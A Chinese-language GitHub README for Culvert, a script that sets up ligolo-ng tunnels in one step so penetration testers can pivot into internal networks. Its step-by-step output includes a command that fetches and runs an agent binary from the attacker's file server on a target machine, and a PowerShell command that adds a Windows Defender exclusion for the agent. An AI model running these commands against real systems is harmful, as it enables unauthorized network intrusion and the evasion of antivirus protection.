Real-Fruit-Snacks/Culvert
GitHub: Real-Fruit-Snacks/Culvert
一键式 ligolo-ng 隧道搭建工具,自动下载配置并清理,解决内网穿透与横向移动痛点。
Stars: 1 | Forks: 0




**在障碍物下进行透视 — 一键 ligolo-ng 隧道搭建。**
自动下载代理与客户端二进制文件,配置 TUN 接口,启动文件服务器用于客户端传输,并提供已填充 IP 的复制粘贴命令。无需 proxychains — 可直接访问目标网络。
## 快速开始
### 先决条件
- **Linux**(Kali、Ubuntu、Debian)并具有 root/sudo 权限
- **curl**、**jq**、**tar**(用于二进制下载与解压)
- **python3**(可选,用于 HTTP 文件服务器)
### 安装
```
curl -O https://raw.githubusercontent.com/Real-Fruit-Snacks/Culvert/main/culvert.sh
chmod +x culvert.sh
```
### 运行
```
sudo ./culvert.sh auto
```
按照屏幕提示传输客户端、连接、选择会话、添加路由并启动隧道。
### 验证
```
# 隧道运行后,测试连接
nmap -sV 10.10.10.0/24 # Scan target network
ssh user@10.10.10.20 # SSH to internal host
curl http://10.10.10.50 # Access internal web server
```
### 清理
```
sudo ./culvert.sh cleanup
```
## 功能特性
### 一键式设置
运行 `sudo ./culvert.sh auto`,脚本将下载 ligolo-ng 二进制文件,创建 TUN 接口,在 8000 端口启动文件服务器并启动代理。
```
sudo ./culvert.sh auto
```
### 自动 IP 检测
按优先级顺序检查 `tun0`、`tun1`、`tap0` 和默认路由,自动检测你的攻击 IP。所有生成的命令均使用你的实际 IP。
```
# 检测顺序:tun0 -> tun1 -> tap0 -> 默认路由
```
### 多平台客户端
下载适用于 Linux(amd64/arm64)、Windows(amd64)和 macOS(arm64)的客户端二进制文件。为每个平台提供传输命令,包括 curl、PowerShell `iwr` 以及 certutil 备用方案。
```
./culvert.sh agent-cmd # Show all agent commands
./culvert.sh agent-cmd 10.0.0.1 # With custom IP
```
### 干净的拆除
按顺序移除所有路由、停止文件服务器与代理,并拆除 TUN 接口。不遗留孤立进程或陈旧路由。
```
sudo ./culvert.sh cleanup
```
### 模块化命令
每个操作均可作为独立的子命令运行,以便对设置过程进行细粒度控制。
```
./culvert.sh download # Download binaries only
sudo ./culvert.sh setup-tun # Create TUN only
sudo ./culvert.sh add-route 10.10.10.0/24
./culvert.sh status # Show current state
```
### 分步指导
设置完成后,脚本会显示编号步骤及用于客户端传输、连接、会话选择、路由添加和隧道启动的确切命令。
```
STEP 1: Download agent on target machine
curl http://10.10.14.5:8000/ligolo-agent -o /tmp/a && chmod +x /tmp/a
STEP 2: Run agent on target
/tmp/a -connect 10.10.14.5:11601 -ignore-cert
```
### 访问客户端自身本地主机
Ligolo-ng 将 `240.0.0.0/4` 视为魔术重定向范围:任何发往
`240.x.x.x` 的数据包都会被转发到客户端的 `127.0.0.1`。一个子命令
会添加 `240.0.0.1/32` 路由,使你能够扫描并访问绑定在客户端回环上的服务
(数据库、管理面板、 stray SSH 等),直接从主机访问:
```
sudo ./culvert.sh localhost
# 然后,从任意终端:
nmap -sV 240.0.0.1 # scan the agent's local ports
curl http://240.0.0.1:8080/ # hit an admin panel bound to 127.0.0.1:8080
ssh user@240.0.0.1 # SSH to the agent itself
```
详见 [ligolo-ng 本地主机文档](https://docs.ligolo.ng/Localhost/) 获取完整协议细节。
### WebUI 仪表板
Ligolo-ng 提供一个用于管理客户端、会话和隧道的 Web 仪表板。Culvert 可通过专用子命令或在 `auto` 前设置 `WEBUI=1` 来启用:
```
# 选项 A:仅启动代理 + WebUI(二进制文件和 TUN 已就绪)
sudo ./culvert.sh webui
# 选项 B:完整自动设置,WebUI 与 CLI 并行启用
WEBUI=1 sudo ./culvert.sh auto
# 自定义绑定地址(默认 127.0.0.1:8443)
WEBUI_LISTEN=10.10.14.5:8443 WEBUI=1 sudo ./culvert.sh auto
```
首次启动代理控制台时会提示一次管理员用户名与密码;这些信息会保存在 `~/.ligolo-proxy/` 并在后续运行中重复使用。仪表板随后运行在 `https://
/` —— 请在浏览器中打开(自签名 TLS → 预期浏览器警告)。
详见 [ligolo-ng WebUI 文档](https://docs.ligolo.ng/webui/) 获取功能导览。
## 架构
```
culvert.sh Single-file setup script (all logic)
README.md Documentation
LICENSE MIT License
```
脚本遵循线性执行流程:从 GitHub 发布版下载二进制文件,通过 `ip tuntap` 创建 TUN 接口,启动用于客户端传输的 Python HTTP 文件服务器,然后启动 `ligolo-proxy` 并在退出时触发清理操作。
## 全部命令
| 命令 | 需 root | 描述 |
|------|--------|------|
| `auto` | 是 | 完整设置 — 下载、配置、启动代理 |
| `cleanup` | 是 | 停止代理与文件服务器,移除路由和 TUN |
| `download` | 否 | 下载 ligolo-ng 二进制文件到 `~/.ligolo-ng` |
| `setup-tun` | 是 | 创建并激活 TUN 接口 |
| `teardown-tun` | 是 | 移除 TUN 接口 |
| `proxy [opts]` | 否 | 启动代理(可自定义选项) |
| `add-route ` | 是 | 添加路由到 TUN |
| `del-route ` | 是 | 从 TUN 移除路由 |
| `localhost` | 是 | 添加 `240.0.0.1/32` 路由 — 访问客户端自身的 `127.0.0.1` |
| `webui` | 是 | 启动带有 ligolo-ng WebUI 仪表板的代理 |
| `agent-cmd [ip]` | 否 | 显示所有平台的客户端命令 |
| `status` | 否 | 显示二进制文件、TUN、路由与代理状态 |
## 配置
| 变量 | 默认值 | 描述 |
|------|--------|------|
| `LIGOLO_DIR` | `~/.ligolo-ng` | 二进制存储目录 |
| `TUN_NAME` | `ligolo` | TUN 接口名称 |
| `PROXY_PORT` | `11601` | 代理监听端口 |
| `WEBUI` | `0` | 在 `auto` 模式中启用 WebUI(`1` 开启) |
| `WEBUI_LISTEN` | `127.0.0.1:8443` | WebUI 与 REST API 绑定地址 |
```
PROXY_PORT=443 sudo ./culvert.sh auto
LIGOLO_DIR=/opt/ligolo sudo ./culvert.sh download
```
## 故障排除
**客户端无法连接** — 确保代理端口开放:
```
iptables -I INPUT -p tcp --dport 11601 -j ACCEPT
```
**Windows Defender 阻止客户端** — 下载前添加排除项:
```
Add-MpPreference -ExclusionPath "C:\Users\Administrator\a.exe"
```
**添加路由时连接断开** — 不要将目标网络自身路由到 ligolo。仅路由目标内部网络之后的网络。
**无效的 CIDR 前缀** — 网络地址必须与前缀边界对齐(例如 `10.1.146.0/24`,而非 `10.1.146.5/24`)。
## 安全
通过 [SECURITY.md](SECURITY.md) 报告漏洞 — 请勿公开提交问题。
Culvert **不**:
- 修改 ligolo-ng 源代码或二进制文件
- 存储凭据或敏感数据
- 清理后持久化
- 打开代理端口和文件服务器之外的其他端口
- 绕过任何安全控制
## 致谢
- [ligolo-ng](https://github.com/nicocha30/ligolo-ng) 作者 Nicolas Chatelain
- [官方文档](https://docs.ligolo.ng/)
## 许可证
[MIT](LICENSE) — Copyright 2026 Real-Fruit-Snacks
标签:AD攻击面, ligolo-ng, Linux工具, Real-Fruit-Snacks, SEO: 一键隧道, SEO: 内网穿透工具, SEO: 安全工具包, SEO: 自动化代理, SSH跳转, TUN配置, 云存储安全, 内网穿透, 安全工具集, 应用安全, 横向移动, 水主题安全, 漏洞利用辅助, 端口探测, 端口转发, 编程规范, 网络扫描, 网络转发, 路由管理, 逆向工具, 隧道代理